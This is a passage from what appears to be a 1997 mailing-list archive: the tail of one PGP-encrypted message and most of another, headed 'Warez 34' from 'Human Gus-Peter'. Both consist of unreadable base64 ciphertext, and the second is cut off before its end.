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
hqiM8nYJDqRhgSSq6w008c1O1Uo3MOHCEQ8=
=vGsb
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 05:04:17 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 21:04:17 +0800
Subject: Warez 34
Message-ID: <199712181249.EAA18092@toad.com>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
